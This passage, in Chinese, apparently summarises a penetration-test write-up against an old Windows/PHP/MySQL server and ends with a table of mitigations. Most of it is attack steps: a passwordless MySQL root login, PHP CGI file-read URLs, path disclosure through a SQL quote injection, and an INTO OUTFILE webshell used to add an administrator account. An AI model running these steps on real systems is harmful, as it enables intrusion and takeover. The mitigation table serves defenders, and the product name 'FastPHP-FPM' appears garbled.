mysql -h target_ip → **無密碼 Root 登入成功**作者演示兩種經典技巧:
https://target/php/php.exe?c:boot.ini
→ 回顯系統啟動配置,確認 Windows XP
https://target/php/php.exe?f:apache/conf/httpd.conf
→ 獲取 DocumentRoot "D:homepage"
原理:舊版 PHP CGI 模式未校驗參數,直接以參數作文件路徑讀取。
https://target/skonline/study/list.php?id=14'
→ Warning: ... in d:\homepage\skonline\study\list.php on line 231
開發環境未關閉 display_errors,直接洩露絕對路徑。
mysql -h target -u root -p
USE test;
CREATE TABLE t(cmd TEXT);
INSERT INTO t VALUES('');
SELECT * FROM t INTO OUTFILE 'd:/homepage/test.php';
驗證:https://target/test.php?c=net user kid /add → 命令成功執行,添加管理員用戶。
SELECT ... INTO OUTFILE 寫入 PHP Webshell| 環節 | 風險 | 緩解措施 |
|---|---|---|
| 3306 暴露公網 | 直接攻擊面 | 安全組/防火牆僅放行應用服務器 IP;bind-address=127.0.0.1 |
| Root 空密碼 | 完全控制 | mysql_secure_installation;強制複雜密碼;禁用遠程 Root |
| PHP CGI 漏洞 | 任意文件讀取 | 升級 PHP;遷移至 FastPHP-FPM;禁用 CGI 模式 |
| 錯誤回顯 | 路徑洩露 | display_errors=Off、log_errors=On、自定義錯誤頁 |
| INTO OUTFILE | 代碼落地 | 應用帳號移除 FILE 權限;secure_file_priv=/tmp;Web 目錄不可寫 |
| Webshell 執行 | 命令執行 | 禁用 system/exec/shell_exec (php.ini disable_functions);OpenRASP/安全狗 |